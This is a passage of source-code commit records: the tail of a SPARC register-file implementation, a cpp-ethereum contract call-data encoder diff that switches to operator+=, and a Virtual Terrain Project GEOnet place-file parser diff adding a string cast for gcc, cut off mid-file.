CWP register.\n\/\/It's purpose is to adjust the view of the register file\n\/\/to what it would be if CWP = cwp.\nvoid IntRegFile::setCWP(int cwp)\n{\n    int index = ((NWindows - cwp) % NWindows) * 2;\n    offset[Outputs] = FrameOffset + (index * RegsPerFrame);\n    offset[Locals] = FrameOffset + ((index+1) * RegsPerFrame);\n    offset[Inputs] = FrameOffset +\n        (((index+2) % (NWindows * 2)) * RegsPerFrame);\n    regView[Outputs] = regSegments[index];\n    regView[Locals] = regSegments[index+1];\n    regView[Inputs] = regSegments[(index+2) % (NWindows * 2)];\n\n    DPRINTF(Sparc, \"Changed the CWP value to %d\\n\", cwp);\n}\n\nvoid IntRegFile::setGlobals(int gl)\n{\n    DPRINTF(Sparc, \"Now using %d globals\\n\", gl);\n\n    regView[Globals] = regGlobals[gl];\n    offset[Globals] = RegGlobalOffset + gl * RegsPerFrame;\n}\n\nvoid IntRegFile::serialize(std::ostream &os)\n{\n    unsigned int x;\n    for(x = 0; x < MaxGL; x++)\n        SERIALIZE_ARRAY(regGlobals[x], RegsPerFrame);\n    for(x = 0; x < 2 * NWindows; x++)\n        SERIALIZE_ARRAY(regSegments[x], RegsPerFrame);\n    SERIALIZE_ARRAY(microRegs, NumMicroIntRegs);\n}\n\nvoid IntRegFile::unserialize(Checkpoint *cp, const std::string &section)\n{\n    unsigned int x;\n    for(x = 0; x < MaxGL; x++)\n        UNSERIALIZE_ARRAY(regGlobals[x], RegsPerFrame);\n    for(unsigned int x = 0; x < 2 * NWindows; x++)\n        UNSERIALIZE_ARRAY(regSegments[x], RegsPerFrame);\n    UNSERIALIZE_ARRAY(microRegs, NumMicroIntRegs);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file ContractCallDataEncoder.cpp\n * @author Yann yann@ethdev.com\n * @date 2014\n * Ethereum IDE client.\n *\/\n\n#include <QDebug>\n#include <QMap>\n#include <QStringList>\n#include <libethcore\/CommonJS.h>\n#include <libsolidity\/AST.h>\n#include \"QVariableDeclaration.h\"\n#include \"QVariableDefinition.h\"\n#include \"QFunctionDefinition.h\"\n#include \"ContractCallDataEncoder.h\"\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::mix;\n\nbytes ContractCallDataEncoder::encodedData()\n{\n\tbytes r(m_encodedData);\n\tsize_t headerSize = m_encodedData.size() & ~0x1fUL; \/\/ignore any prefix that is not 32-byte aligned\n\t\/\/apply offsets\n\tfor (auto const& p: m_offsetMap)\n\t{\n\t\tvector_ref<byte> offsetRef(r.data() + p.first, 32);\n\t\ttoBigEndian<size_t, vector_ref<byte>>(p.second + headerSize, offsetRef); \/\/add header size minus signature hash\n\t}\n\n\tr.insert(r.end(), m_dynamicData.begin(), m_dynamicData.end());\n\treturn r;\n}\n\nvoid ContractCallDataEncoder::encode(QFunctionDefinition const* _function)\n{\n\tbytes hash = _function->hash().asBytes();\n\tm_encodedData.insert(m_encodedData.end(), hash.begin(), hash.end());\n}\n\nvoid ContractCallDataEncoder::encode(QVariant const& _data, SolidityType const& _type)\n{\n\tu256 count = 1;\n\tQStringList strList;\n\tif (_type.array)\n\t{\n\t\tif (_data.type() == QVariant::String)\n\t\t\tstrList = _data.toString().split(\",\", QString::SkipEmptyParts);  \/\/TODO: proper parsing\n\t\telse\n\t\t\tstrList = _data.toStringList();\n\t\tcount = strList.count();\n\n\t}\n\telse\n\t\tstrList.append(_data.toString());\n\n\tif (_type.dynamicSize)\n\t{\n\t\tbytes empty(32);\n\t\tsize_t sizePos = m_dynamicData.size();\n\t\tm_dynamicData.insert(m_dynamicData.end(), empty.begin(), empty.end()); \/\/reserve space for count\n\t\tif (_type.type == SolidityType::Type::Bytes)\n\t\t\tcount = encodeSingleItem(_data.toString(), _type, m_dynamicData);\n\t\telse\n\t\t{\n\t\t\tcount = strList.count();\n\t\t\tfor (auto const& item: strList)\n\t\t\t\tencodeSingleItem(item, _type, m_dynamicData);\n\t\t}\n\t\tvector_ref<byte> sizeRef(m_dynamicData.data() + sizePos, 32);\n\t\ttoBigEndian(count, sizeRef);\n\t\tm_offsetMap.push_back(std::make_pair(m_encodedData.size(), sizePos));\n\t\tm_encodedData.insert(m_encodedData.end(), empty.begin(), empty.end()); \/\/reserve space for offset\n\t}\n\telse\n\t{\n\t\tif (_type.array)\n\t\t\tcount = _type.count;\n\t\tint c = static_cast<int>(count);\n\t\tif (strList.size() > c)\n\t\t\tstrList.erase(strList.begin() + c, strList.end());\n\t\telse\n\t\t\twhile (strList.size() < c)\n\t\t\t\tstrList.append(QString());\n\n\t\tfor (auto const& item: strList)\n\t\t\tencodeSingleItem(item, _type, m_encodedData);\n\t}\n}\n\nunsigned ContractCallDataEncoder::encodeSingleItem(QString const& _data, SolidityType const& _type, bytes& _dest)\n{\n\tif (_type.type == SolidityType::Type::Struct)\n\t\tBOOST_THROW_EXCEPTION(dev::Exception() << dev::errinfo_comment(\"Struct parameters are not supported yet\"));\n\n\tunsigned const alignSize = 32;\n\tQString src = _data;\n\tbytes result;\n\n\tif ((src.startsWith(\"\\\"\") && src.endsWith(\"\\\"\")) || (src.startsWith(\"\\'\") && src.endsWith(\"\\'\")))\n\t\tsrc = src.remove(src.length() - 1, 1).remove(0, 1);\n\n\tif (src.startsWith(\"0x\"))\n\t{\n\t\tresult = fromHex(src.toStdString().substr(2));\n\t\tif (_type.type != SolidityType::Type::Bytes)\n\t\t\tresult = padded(result, alignSize);\n\t}\n\telse\n\t{\n\t\ttry\n\t\t{\n\t\t\tbigint i(src.toStdString());\n\t\t\tresult = bytes(alignSize);\n\t\t\ttoBigEndian((u256)i, result);\n\t\t}\n\t\tcatch (std::exception const&)\n\t\t{\n\t\t\t\/\/ manage input as a string.\n\t\t\tresult = encodeStringParam(src, alignSize);\n\t\t}\n\t}\n\n\tsize_t dataSize = _type.dynamicSize ? result.size() : alignSize;\n\tif (result.size() % alignSize != 0)\n\t\tresult.resize((result.size() & ~(alignSize - 1)) + alignSize);\n\t_dest.insert(_dest.end(), result.begin(), result.end());\n\treturn dataSize;\n}\n\nbigint ContractCallDataEncoder::decodeInt(dev::bytes const& _rawValue)\n{\n\tdev::u256 un = dev::fromBigEndian<dev::u256>(_rawValue);\n\tif (un >> 255)\n\t\treturn (-s256(~un + 1));\n\treturn un;\n}\n\nQString ContractCallDataEncoder::toString(dev::bigint const& _int)\n{\n\tstd::stringstream str;\n\tstr << std::dec << _int;\n\treturn QString::fromStdString(str.str());\n}\n\ndev::bytes ContractCallDataEncoder::encodeBool(QString const& _str)\n{\n\tbytes b(1);\n\tb[0] = _str == \"1\" || _str.toLower() == \"true \" ? 1 : 0;\n\treturn padded(b, 32);\n}\n\nbool ContractCallDataEncoder::decodeBool(dev::bytes const& _rawValue)\n{\n\tbyte ret = _rawValue.at(_rawValue.size() - 1);\n\treturn (ret != 0);\n}\n\nQString ContractCallDataEncoder::toString(bool _b)\n{\n\treturn _b ? \"true\" : \"false\";\n}\n\ndev::bytes ContractCallDataEncoder::encodeStringParam(QString const& _str, unsigned alignSize)\n{\n\tbytes result;\n\tQByteArray bytesAr = _str.toLocal8Bit();\n\tresult = bytes(bytesAr.begin(), bytesAr.end());\n\treturn paddedRight(result, alignSize);\n}\n\ndev::bytes ContractCallDataEncoder::encodeBytes(QString const& _str)\n{\n\tQByteArray bytesAr = _str.toLocal8Bit();\n\tbytes r = bytes(bytesAr.begin(), bytesAr.end());\n\treturn padded(r, 32);\n}\n\ndev::bytes ContractCallDataEncoder::decodeBytes(dev::bytes const& _rawValue)\n{\n\treturn _rawValue;\n}\n\nQString ContractCallDataEncoder::toString(dev::bytes const& _b)\n{\n\tQString str;\n\tif (asString(_b, str))\n\t\treturn  \"\\\"\" + str +  \"\\\" \" + QString::fromStdString(dev::toJS(_b));\n\telse\n\t\treturn QString::fromStdString(dev::toJS(_b));\n}\n\n\nQVariant ContractCallDataEncoder::decode(SolidityType const& _type, bytes const& _value)\n{\n\tbytesConstRef value(&_value);\n\tbytes rawParam(32);\n\tvalue.populate(&rawParam);\n\tQSolidityType::Type type = _type.type;\n\tif (type == QSolidityType::Type::SignedInteger || type == QSolidityType::Type::UnsignedInteger)\n\t\treturn QVariant::fromValue(toString(decodeInt(rawParam)));\n\telse if (type == QSolidityType::Type::Bool)\n\t\treturn QVariant::fromValue(toString(decodeBool(rawParam)));\n\telse if (type == QSolidityType::Type::Bytes || type == QSolidityType::Type::Hash)\n\t\treturn QVariant::fromValue(toString(decodeBytes(rawParam)));\n\telse if (type == QSolidityType::Type::Struct)\n\t\treturn QVariant::fromValue(QString(\"struct\")); \/\/TODO\n\telse if (type == QSolidityType::Type::Address)\n\t\treturn QVariant::fromValue(toString(decodeBytes(unpadLeft(rawParam))));\n\telse\n\t\tBOOST_THROW_EXCEPTION(Exception() << errinfo_comment(\"Parameter declaration not found\"));\n}\n\nQStringList ContractCallDataEncoder::decode(QList<QVariableDeclaration*> const& _returnParameters, bytes _value)\n{\n\tbytesConstRef value(&_value);\n\tbytes rawParam(32);\n\tQStringList r;\n\n\tfor (int k = 0; k <_returnParameters.length(); k++)\n\t{\n\t\tvalue.populate(&rawParam);\n\t\tvalue = value.cropped(32);\n\t\tQVariableDeclaration* dec = static_cast<QVariableDeclaration*>(_returnParameters.at(k));\n\t\tSolidityType const& type = dec->type()->type();\n\t\tr.append(decode(type, rawParam).toString());\n\t}\n\treturn r;\n}\n\n\nbool ContractCallDataEncoder::asString(dev::bytes const& _b, QString& _str)\n{\n\tdev::bytes bunPad = unpadded(_b);\n\tfor (unsigned i = 0; i < bunPad.size(); i++)\n\t{\n\t\tif (bunPad.at(i) < 9 || bunPad.at(i) > 127)\n\t\t\treturn false;\n\t\telse\n\t\t\t_str += QString::fromStdString(dev::toJS(bunPad.at(i))).replace(\"0x\", \"\");\n\t}\n\treturn true;\n}\n<commit_msg>used operator+= for bytes<commit_after>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file ContractCallDataEncoder.cpp\n * @author Yann yann@ethdev.com\n * @date 2014\n * Ethereum IDE client.\n *\/\n\n#include <QDebug>\n#include <QMap>\n#include <QStringList>\n#include <libethcore\/CommonJS.h>\n#include <libsolidity\/AST.h>\n#include \"QVariableDeclaration.h\"\n#include \"QVariableDefinition.h\"\n#include \"QFunctionDefinition.h\"\n#include \"ContractCallDataEncoder.h\"\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::mix;\n\nbytes ContractCallDataEncoder::encodedData()\n{\n\tbytes r(m_encodedData);\n\tsize_t headerSize = m_encodedData.size() & ~0x1fUL; \/\/ignore any prefix that is not 32-byte aligned\n\t\/\/apply offsets\n\tfor (auto const& p: m_offsetMap)\n\t{\n\t\tvector_ref<byte> offsetRef(r.data() + p.first, 32);\n\t\ttoBigEndian<size_t, vector_ref<byte>>(p.second + headerSize, offsetRef); \/\/add header size minus signature hash\n\t}\n\n\tr.insert(r.end(), m_dynamicData.begin(), m_dynamicData.end());\n\treturn r;\n}\n\nvoid ContractCallDataEncoder::encode(QFunctionDefinition const* _function)\n{\n\tbytes hash = _function->hash().asBytes();\n\tm_encodedData.insert(m_encodedData.end(), hash.begin(), hash.end());\n}\n\nvoid ContractCallDataEncoder::encode(QVariant const& _data, SolidityType const& _type)\n{\n\tu256 count = 1;\n\tQStringList strList;\n\tif (_type.array)\n\t{\n\t\tif (_data.type() == QVariant::String)\n\t\t\tstrList = _data.toString().split(\",\", QString::SkipEmptyParts);  \/\/TODO: proper parsing\n\t\telse\n\t\t\tstrList = _data.toStringList();\n\t\tcount = strList.count();\n\n\t}\n\telse\n\t\tstrList.append(_data.toString());\n\n\tif (_type.dynamicSize)\n\t{\n\t\tbytes empty(32);\n\t\tsize_t sizePos = m_dynamicData.size();\n\t\tm_dynamicData += empty; \/\/reserve space for count\n\t\tif (_type.type == SolidityType::Type::Bytes)\n\t\t\tcount = encodeSingleItem(_data.toString(), _type, m_dynamicData);\n\t\telse\n\t\t{\n\t\t\tcount = strList.count();\n\t\t\tfor (auto const& item: strList)\n\t\t\t\tencodeSingleItem(item, _type, m_dynamicData);\n\t\t}\n\t\tvector_ref<byte> sizeRef(m_dynamicData.data() + sizePos, 32);\n\t\ttoBigEndian(count, sizeRef);\n\t\tm_offsetMap.push_back(std::make_pair(m_encodedData.size(), sizePos));\n\t\tm_encodedData += empty; \/\/reserve space for offset\n\t}\n\telse\n\t{\n\t\tif (_type.array)\n\t\t\tcount = _type.count;\n\t\tint c = static_cast<int>(count);\n\t\tif (strList.size() > c)\n\t\t\tstrList.erase(strList.begin() + c, strList.end());\n\t\telse\n\t\t\twhile (strList.size() < c)\n\t\t\t\tstrList.append(QString());\n\n\t\tfor (auto const& item: strList)\n\t\t\tencodeSingleItem(item, _type, m_encodedData);\n\t}\n}\n\nunsigned ContractCallDataEncoder::encodeSingleItem(QString const& _data, SolidityType const& _type, bytes& _dest)\n{\n\tif (_type.type == SolidityType::Type::Struct)\n\t\tBOOST_THROW_EXCEPTION(dev::Exception() << dev::errinfo_comment(\"Struct parameters are not supported yet\"));\n\n\tunsigned const alignSize = 32;\n\tQString src = _data;\n\tbytes result;\n\n\tif ((src.startsWith(\"\\\"\") && src.endsWith(\"\\\"\")) || (src.startsWith(\"\\'\") && src.endsWith(\"\\'\")))\n\t\tsrc = src.remove(src.length() - 1, 1).remove(0, 1);\n\n\tif (src.startsWith(\"0x\"))\n\t{\n\t\tresult = fromHex(src.toStdString().substr(2));\n\t\tif (_type.type != SolidityType::Type::Bytes)\n\t\t\tresult = padded(result, alignSize);\n\t}\n\telse\n\t{\n\t\ttry\n\t\t{\n\t\t\tbigint i(src.toStdString());\n\t\t\tresult = bytes(alignSize);\n\t\t\ttoBigEndian((u256)i, result);\n\t\t}\n\t\tcatch (std::exception const&)\n\t\t{\n\t\t\t\/\/ manage input as a string.\n\t\t\tresult = encodeStringParam(src, alignSize);\n\t\t}\n\t}\n\n\tsize_t dataSize = _type.dynamicSize ? result.size() : alignSize;\n\tif (result.size() % alignSize != 0)\n\t\tresult.resize((result.size() & ~(alignSize - 1)) + alignSize);\n\t_dest.insert(_dest.end(), result.begin(), result.end());\n\treturn dataSize;\n}\n\nbigint ContractCallDataEncoder::decodeInt(dev::bytes const& _rawValue)\n{\n\tdev::u256 un = dev::fromBigEndian<dev::u256>(_rawValue);\n\tif (un >> 255)\n\t\treturn (-s256(~un + 1));\n\treturn un;\n}\n\nQString ContractCallDataEncoder::toString(dev::bigint const& _int)\n{\n\tstd::stringstream str;\n\tstr << std::dec << _int;\n\treturn QString::fromStdString(str.str());\n}\n\ndev::bytes ContractCallDataEncoder::encodeBool(QString const& _str)\n{\n\tbytes b(1);\n\tb[0] = _str == \"1\" || _str.toLower() == \"true \" ? 1 : 0;\n\treturn padded(b, 32);\n}\n\nbool ContractCallDataEncoder::decodeBool(dev::bytes const& _rawValue)\n{\n\tbyte ret = _rawValue.at(_rawValue.size() - 1);\n\treturn (ret != 0);\n}\n\nQString ContractCallDataEncoder::toString(bool _b)\n{\n\treturn _b ? \"true\" : \"false\";\n}\n\ndev::bytes ContractCallDataEncoder::encodeStringParam(QString const& _str, unsigned alignSize)\n{\n\tbytes result;\n\tQByteArray bytesAr = _str.toLocal8Bit();\n\tresult = bytes(bytesAr.begin(), bytesAr.end());\n\treturn paddedRight(result, alignSize);\n}\n\ndev::bytes ContractCallDataEncoder::encodeBytes(QString const& _str)\n{\n\tQByteArray bytesAr = _str.toLocal8Bit();\n\tbytes r = bytes(bytesAr.begin(), bytesAr.end());\n\treturn padded(r, 32);\n}\n\ndev::bytes ContractCallDataEncoder::decodeBytes(dev::bytes const& _rawValue)\n{\n\treturn _rawValue;\n}\n\nQString ContractCallDataEncoder::toString(dev::bytes const& _b)\n{\n\tQString str;\n\tif (asString(_b, str))\n\t\treturn  \"\\\"\" + str +  \"\\\" \" + QString::fromStdString(dev::toJS(_b));\n\telse\n\t\treturn QString::fromStdString(dev::toJS(_b));\n}\n\n\nQVariant ContractCallDataEncoder::decode(SolidityType const& _type, bytes const& _value)\n{\n\tbytesConstRef value(&_value);\n\tbytes rawParam(32);\n\tvalue.populate(&rawParam);\n\tQSolidityType::Type type = _type.type;\n\tif (type == QSolidityType::Type::SignedInteger || type == QSolidityType::Type::UnsignedInteger)\n\t\treturn QVariant::fromValue(toString(decodeInt(rawParam)));\n\telse if (type == QSolidityType::Type::Bool)\n\t\treturn QVariant::fromValue(toString(decodeBool(rawParam)));\n\telse if (type == QSolidityType::Type::Bytes || type == QSolidityType::Type::Hash)\n\t\treturn QVariant::fromValue(toString(decodeBytes(rawParam)));\n\telse if (type == QSolidityType::Type::Struct)\n\t\treturn QVariant::fromValue(QString(\"struct\")); \/\/TODO\n\telse if (type == QSolidityType::Type::Address)\n\t\treturn QVariant::fromValue(toString(decodeBytes(unpadLeft(rawParam))));\n\telse\n\t\tBOOST_THROW_EXCEPTION(Exception() << errinfo_comment(\"Parameter declaration not found\"));\n}\n\nQStringList ContractCallDataEncoder::decode(QList<QVariableDeclaration*> const& _returnParameters, bytes _value)\n{\n\tbytesConstRef value(&_value);\n\tbytes rawParam(32);\n\tQStringList r;\n\n\tfor (int k = 0; k <_returnParameters.length(); k++)\n\t{\n\t\tvalue.populate(&rawParam);\n\t\tvalue = value.cropped(32);\n\t\tQVariableDeclaration* dec = static_cast<QVariableDeclaration*>(_returnParameters.at(k));\n\t\tSolidityType const& type = dec->type()->type();\n\t\tr.append(decode(type, rawParam).toString());\n\t}\n\treturn r;\n}\n\n\nbool ContractCallDataEncoder::asString(dev::bytes const& _b, QString& _str)\n{\n\tdev::bytes bunPad = unpadded(_b);\n\tfor (unsigned i = 0; i < bunPad.size(); i++)\n\t{\n\t\tif (bunPad.at(i) < 9 || bunPad.at(i) > 127)\n\t\t\treturn false;\n\t\telse\n\t\t\t_str += QString::fromStdString(dev::toJS(bunPad.at(i))).replace(\"0x\", \"\");\n\t}\n\treturn true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ GEOnet.cpp\n\/\/\n\/\/ Copyright (c) 2002 Virtual Terrain Project\n\/\/ Free for all uses, see license.txt for details.\n\/\/\n\n#include \"GEOnet.h\"\n#include <stdio.h>\n\n\nbool Country::FindPlace(const char *place_val, DPoint2 &point, bool bFullLength)\n{\n\tint j, num_places = m_places.GetSize();\n\n\tbool success = false;\n\tfor (j = 0; j < num_places; j++)\n\t{\n\t\tPlace *place = m_places[j];\n\t\tif (bFullLength)\n\t\t\tsuccess = (place->m_fullname_nd.CompareNoCase(place_val) == 0);\n\t\telse\n\t\t{\n\t\t\tint len = strlen(place_val);\n\t\t\tif (len > 2)\n\t\t\t\tsuccess = (place->m_fullname_nd.Left(len).CompareNoCase(place_val) == 0);\n\t\t}\n\t\tif (success)\n\t\t{\n\t\t\tpoint = place->m_pos;\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nvoid Countries::ReadCountryList(const char *fname)\n{\n\tFILE *fp = fopen(fname, \"rb\");\n\n\tint off;\n\tvtString str, name, abb;\n\tchar buf[400];\n\twhile (fgets(buf, 400, fp) != NULL)\n\t{\n\t\tstr = buf;\n\t\toff = str.Find(':');\n\t\tCountry *country = new Country;\n\t\tcountry->m_full = str.Left(off);\n\t\tcountry->m_abb = str.Mid(off+1, 2);\n\t\tm_countries.Append(country);\n\t}\n\tfclose(fp);\n}\n\nvoid Countries::ParseRawCountryFiles(const char *path_prefix)\n{\n\tm_path = path_prefix;\n\n\tint num = m_countries.GetSize();\n\tfor (int i = 0; i < num; i++)\n\t{\n\t\tParseRawCountry(i);\n\t}\n}\n\nvoid Countries::ParseRawCountry(int which)\n{\n\tCountry *country = m_countries[which];\n\n\tprintf(\"Parsing %s...\", country->m_full);\n\n\tchar fc;\t\/\/ feature classification, P = populated palce\n\tchar pc;\t\/\/ Populated Place Classification\n\tDPoint2 point;\n\tchar *p, *w;\n\tint i, j;\n\tchar buf[4000];\n\tchar word[100];\n\tPlace *place;\n\n\tArray<char> importance;\n\tint num_important[7];\n\tint line_number = 0;\n\tint duplicates = 0;\n\n\tfor (i = 0; i < 7; i++)\n\t\tnum_important[i] = 0;\n\n\tFILE *fp = fopen(m_path + country->m_abb + \".txt\", \"rb\");\n\tif (!fp)\n\t{\n\t\tprintf(\"couldn't open.\\n\");\n\t\treturn;\n\t}\n\twhile (fgets(buf, 4000, fp) != NULL)\n\t{\n\t\tline_number++;\n\t\ti = 0;\n\t\tw = word;\n\t\tfor (p = buf; *p != '\\n'; p++)\n\t\t{\n\t\t\tif (*p == '\\t')\n\t\t\t{\n\t\t\t\t*w = '\\0';\n\t\t\t\t\/\/ handle word\n\t\t\t\tif (i == 3)\n\t\t\t\t\tpoint.y = atof(word); \/\/ lat\n\t\t\t\tif (i == 4)\n\t\t\t\t\tpoint.x = atof(word); \/\/ lon\n\t\t\t\tif (i == 9)\n\t\t\t\t\tfc = word[0];\n\t\t\t\tif (i == 11)\n\t\t\t\t{\n\t\t\t\t\tpc = word[0] ? word[0] - '0' : 6;\t\/\/ \"importance\" 1-5, 1 most\n\t\t\t\t}\n\t\t\t\tif (i == 23)\n\t\t\t\t{\n\t\t\t\t\tif (fc == 'P')\t\/\/ populated place\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ count hhow many of each importance\n\t\t\t\t\t\tif (pc >= 1 && pc <= 6) num_important[pc] ++;\n\n\t\t\t\t\t\tbool bReplace = false;\n\t\t\t\t\t\tif (pc < 5)\t\/\/ might be more important than existing\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tint size = country->m_places.GetSize();\n\t\t\t\t\t\t\tfor (j = 0; j < size; j++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tplace = country->m_places.GetAt(j);\n\t\t\t\t\t\t\t\tif (!place->m_fullname_nd.Compare(word))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tduplicates++;\n\t\t\t\t\t\t\t\t\t\/\/ if name already exists, replace the existing\n\t\t\t\t\t\t\t\t\t\/\/ place if this one is more important\n\t\t\t\t\t\t\t\t\tif (pc < importance[j])\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tbReplace = true;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tplace = new Place();\n\t\t\t\t\t\tplace->m_pos = point;\n\t\t\t\t\t\tplace->m_fullname_nd = word;\n\t\t\t\t\t\tif (bReplace)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcountry->m_places[j] = place;\n\t\t\t\t\t\t\timportance[j] = pc;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcountry->m_places.Append(place);\n\t\t\t\t\t\t\timportance.Append(pc);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\/\/printf(\"i=%d word=%s\\n\", i, word);\n\t\t\t\ti++;\n\t\t\t\tw = word;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t*w = *p;\n\t\t\t\tw++;\n\t\t\t}\n\t\t}\n\t}\n\tfclose(fp);\n\tint size = country->m_places.GetSize();\n\tprintf(\"%d places. Imps: %d %d %d %d %d %d. Dupes: %d\\n\",\n\t\tsize, num_important[1], num_important[2], num_important[3],\n\t\tnum_important[4], num_important[5], num_important[6], duplicates);\n}\n\nvoid WriteString(FILE *fp, const vtString &str)\n{\n\tshort len = str.GetLength();\n\tfwrite(&len, 2, 1, fp);\n\tconst char *buf = (const char *)str;\n\tfwrite(buf, len, 1, fp);\n}\n\nvoid ReadString(FILE *fp, vtString &str)\n{\n\tchar buf[100];\n\tshort len;\n\tfread(&len, 2, 1, fp);\n\tfread(buf, len, 1, fp);\n\tbuf[len] = '\\0';\n\tstr = buf;\n}\n\nvoid Countries::WriteGCF(const char *fname)\n{\n\tFILE *fp = fopen(fname, \"wb\");\n\n\tint num = m_countries.GetSize();\n\tfwrite(&num, sizeof(int), 1, fp);\n\n\tint i, j, num_places;\n\tfor (i = 0; i < num; i++)\n\t{\n\t\tCountry *country = m_countries[i];\n\t\tnum_places = country->m_places.GetSize();\n\n\t\tWriteString(fp, country->m_full);\n\t\tfwrite(&num_places, sizeof(int), 1, fp);\n\n\t\tfor (j = 0; j < num_places; j++)\n\t\t{\n\t\t\tPlace *place = country->m_places[j];\n\t\t\tfwrite(&place->m_pos.x, sizeof(double), 2, fp);\n\t\t\tWriteString(fp, place->m_fullname_nd);\n\t\t}\n\t}\n\tfclose(fp);\n}\n\nvoid Countries::ReadGCF(const char *fname, void progress_callback(int))\n{\n\tFILE *fp = fopen(fname, \"rb\");\n\tif (!fp)\n\t\treturn;\n\n\tint num;\n\tfread(&num, sizeof(int), 1, fp);\n\n\tm_countries.SetMaxSize(num);\n\n\tint i, j, num_places;\n\tfor (i = 0; i < num; i++)\n\t{\n\t\tif (progress_callback != NULL)\n\t\t\tprogress_callback(i * 100 \/ num);\n\n\t\tCountry *country = new Country();\n\t\tm_countries.Append(country);\n\n\t\tReadString(fp, country->m_full);\n\t\tprintf(\"Reading %s...\\n\", country->m_full);\n\n\t\tfread(&num_places, sizeof(int), 1, fp);\n\t\tcountry->m_places.SetMaxSize(num_places);\n\n\t\tfor (j = 0; j < num_places; j++)\n\t\t{\n\t\t\tPlace *place = new Place();\n\t\t\tfread(&place->m_pos.x, sizeof(double), 2, fp);\n\t\t\tReadString(fp, place->m_fullname_nd);\n\t\t\tcountry->m_places.Append(place);\n\t\t}\n\t}\n\tfclose(fp);\n}\n\nbool Countries::FindPlace(const char *country_val, const char *place_val,\n\t\t\t\t\t\t  DPoint2 &point)\n{\n\tCountry *country;\n\n\tint num = m_countries.GetSize();\n\n\tint i;\n\tfor (i = 0; i < num; i++)\n\t{\n\t\tcountry = m_countries[i];\n\n\t\tif (country->m_full.CompareNoCase(country_val) != 0)\n\t\t\tcontinue;\n\n\t\tbool success = country->FindPlace(place_val, point, true);\n\n\t\t\/\/ try again with just the length of the initial sea\n\t\tif (!success)\n\t\t\tsuccess = country->FindPlace(place_val, point, false);\n\n\t\tif (success)\n\t\t\treturn true;\n\t}\n\treturn false;\n}\n\n<commit_msg>fixed string case for gcc<commit_after>\/\/\n\/\/ GEOnet.cpp\n\/\/\n\/\/ Copyright (c) 2002 Virtual Terrain Project\n\/\/ Free for all uses, see license.txt for details.\n\/\/\n\n#include \"GEOnet.h\"\n#include <stdio.h>\n\n\nbool Country::FindPlace(const char *place_val, DPoint2 &point, bool bFullLength)\n{\n\tint j, num_places = m_places.GetSize();\n\n\tbool success = false;\n\tfor (j = 0; j < num_places; j++)\n\t{\n\t\tPlace *place = m_places[j];\n\t\tif (bFullLength)\n\t\t\tsuccess = (place->m_fullname_nd.CompareNoCase(place_val) == 0);\n\t\telse\n\t\t{\n\t\t\tint len = strlen(place_val);\n\t\t\tif (len > 2)\n\t\t\t\tsuccess = (place->m_fullname_nd.Left(len).CompareNoCase(place_val) == 0);\n\t\t}\n\t\tif (success)\n\t\t{\n\t\t\tpoint = place->m_pos;\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nvoid Countries::ReadCountryList(const char *fname)\n{\n\tFILE *fp = fopen(fname, \"rb\");\n\n\tint off;\n\tvtString str, name, abb;\n\tchar buf[400];\n\twhile (fgets(buf, 400, fp) != NULL)\n\t{\n\t\tstr = buf;\n\t\toff = str.Find(':');\n\t\tCountry *country = new Country;\n\t\tcountry->m_full = str.Left(off);\n\t\tcountry->m_abb = str.Mid(off+1, 2);\n\t\tm_countries.Append(country);\n\t}\n\tfclose(fp);\n}\n\nvoid Countries::ParseRawCountryFiles(const char *path_prefix)\n{\n\tm_path = path_prefix;\n\n\tint num = m_countries.GetSize();\n\tfor (int i = 0; i < num; i++)\n\t{\n\t\tParseRawCountry(i);\n\t}\n}\n\nvoid Countries::ParseRawCountry(int which)\n{\n\tCountry *country = m_countries[which];\n\n\tprintf(\"Parsing %s...\", (const char *) country->m_full);\n\n\tchar fc;\t\/\/ feature classification, P = populated palce\n\tchar pc;\t\/\/ Populated Place Classification\n\tDPoint2 point;\n\tchar *p, *w;\n\tint i, j;\n\tchar buf[4000];\n\tchar word[100];\n\tPlace *place;\n\n\tArray<char> importance;\n\tint num_important[7];\n\tint line_number = 0;\n\tint duplicates = 0;\n\n\tfor (i = 0; i < 7; i++)\n\t\tnum_important[i] = 0;\n\n\tFILE *fp = fopen(m_path + country->m_abb + 